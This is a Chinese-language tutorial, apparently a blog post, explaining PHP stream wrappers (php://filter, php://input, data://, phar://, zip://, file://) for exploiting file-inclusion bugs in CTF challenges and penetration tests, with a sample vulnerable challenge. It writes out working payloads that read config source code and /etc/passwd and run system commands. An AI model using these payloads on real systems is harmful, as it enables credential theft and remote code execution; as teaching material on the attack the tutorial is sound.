漏洞知识点《php伪协议》

伪协议不是 CTF 的"默认套路",它是 PHP 真实存在的功能(官方叫 PHP Wrappers,封装协议)。CTF 里高频出现,是因为 CTF 题专门围绕它设计漏洞;但它的原理在真实渗透中一样适用。先说清楚为什么需要它,再说什么时候用。

为什么需要伪协议------根源在 include 的行为

include 拿到一个文件后,不是"显示"它,而是执行它:

php 复制代码
include 'conn.php';
  • 如果 conn.php 是 PHP 代码 → 直接执行,你看不到源码(数据库密码之类全被"吞"掉了)
  • 如果是 .txt、.html 等非 PHP 文件 → 原样输出,不需要伪协议

所以读文件分两种情况:

目标文件 直接 include 的结果 怎么办
flag.txt、/etc/passwd 内容直接显示 不用伪协议
conn.php、config.php 代码被执行,看不到内容 必须想办法让它"不执行"

php://filter 解决的就是第二种情况:它在读取时对内容做一层编码转换,把 PHP 代码变成 base64 文本------base64 不是合法 PHP 代码,PHP 引擎就不执行它,而是当普通字符串输出:

php 复制代码
include 'php://filter/convert.base64-encode/resource=conn.php';

页面输出一大段 base64,你解码后就是 conn.php 的原始源码。

什么环境下用------前提条件

伪协议利用需要满足这些条件,缺一不可:

  1. 存在文件包含点 :文件名能被用户控制,如 include $_GET['file']
  2. allow_url_fopen = On :php://、file:// 等本地流一般要求这个(多数环境默认开)
  3. allow_url_include = On :只有 data://、http:// 远程包含才需要这个(默认关,所以 CTF 里用 data:// 执行代码的题目会明确给这个环境)

也就是说,只要题目(或真实目标)给了你一个可控的 include,伪协议就是你的工具箱,先试试永远没错------这也是它看起来像"默认做法"的原因:它确实是文件包含漏洞的标准利用手段,CTF 和现实渗透都一样。

常用伪协议和各自的用途

1. php://filter ------ 读源码(最常用)

复制代码
php://filter/convert.base64-encode/resource=conn.php
php://filter/read=string.rot13/resource=conn.php   ← base64 被过滤时的备选

2. php://input ------ 执行 POST body 里的代码

include 'php://input' 会把 POST 请求体当 PHP 代码执行:

复制代码
GET /index.php?file=php://input
POST body: <?php system('cat /flag'); ?>

需要 allow_url_include=On。

3. data:// ------ 直接执行 URL 里写的代码

复制代码
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

同样需要 allow_url_include=On,常用于绕过后缀限制(如 include $file.'.php' 时后面拼接的内容可以被代码注释掉)。

4. phar:// / zip:// ------ 配合文件上传

当你只能上传图片,但能把图片做成 phar 包或 zip 包时:

复制代码
?file=phar://./uploads/shell.jpg/test.php    ← 执行压缩包里的 test.php
?file=zip://./uploads/shell.zip%23shell.php

5. file:// ------ 显式读本地文件

复制代码
?file=file:///etc/passwd

效果和直接写相对路径差不多,但在某些过滤了 ../ 的场景可以绕过。

例题

php 复制代码
<?php
show_source(__FILE__);              // 把本文件源码显示出来(作者送的线索)
if(isset($_GET['file'])){
    include $_GET['file'];          // ★ 危险点 1:include 的文件名来自 URL 参数
}
if(!isset($_GET['parameter'])) die();   // 没传 parameter 就直接结束
$str = addslashes($_GET['parameter']);  // ★ 危险点 2:把参数里的特殊字符转义,只当普通文字
$file = file_get_contents('./conn.php');        // 读 conn.php
$file = preg_replace('|\$parameter=\'.*\';|', "\$parameter='$str';", $file);  // 替换里面的变量
file_put_contents('./conn.php', $file);         // 再写回去
?>

这个 include 点直接包含 conn.php 只会执行它、看不到内容;想读它的源码(看看 $parameter 那行长什么样、有什么过滤),就该用:

复制代码
?file=php://filter/convert.base64-encode/resource=conn.php

而题目里第二个漏洞(preg_replace 写配置文件 + addslashes)走的是另一条路------不依赖 include,而是利用参数污染往 conn.php 里写入代码,再配合 include 触发。两条路往往要结合用。

总结

  • 伪协议是 PHP 内置功能,不是 CTF 发明的东西,真实渗透测试里同样是文件包含漏洞的标准利用方式
  • 核心动机就一个:include 会执行 PHP 文件,而你想看的是它的源码 ,php://filter 通过编码让代码"失效可读"
  • CTF 里"上来先试伪协议"是经验习惯,但这个习惯来自真实攻防,不是做题玄学
  • 判断能不能用:看 allow_url_fopen / allow_url_include 配置,以及过滤规则(黑名单里有没有 php://、: 之类)
相关推荐
青春逝如流水2 小时前
Java 中线程的创建方式:从基础到现代
java·开发语言·多线程·ai文章
智码看视界2 小时前
C++智能指针全景剖析及面试20问
开发语言·c++·深度学习·面试·内存管理·智能指针
铅笔小新z2 小时前
【C语言】深入理解指针
c语言·开发语言
砚凝霜2 小时前
【软考信息安全】第十九章 Unix/Linux安全分析与防护
linux·安全·unix
余醉 | dtminer3 小时前
56%的保护效应藏在乳腺密度里:Nat Commun 高分中介孟德尔随机化全 R 管线拆解(附核心图)
开发语言·r语言·孟德尔随机化
2501_933923253 小时前
SpringCloud组件:Eureka服务注册与发现
java·开发语言·后端·spring cloud·eureka
染指11103 小时前
142.Agent-多Agent框架-通过Skills实现多Agent
开发语言·人工智能·python·langchain·agents
好好学习O(∩_∩)O3 小时前
[QT] 多线程moveToThread 和易踩的8个坑
开发语言·qt
我是人✓4 小时前
Java核心语法:作用域、循环与大数值处理
java·开发语言·后端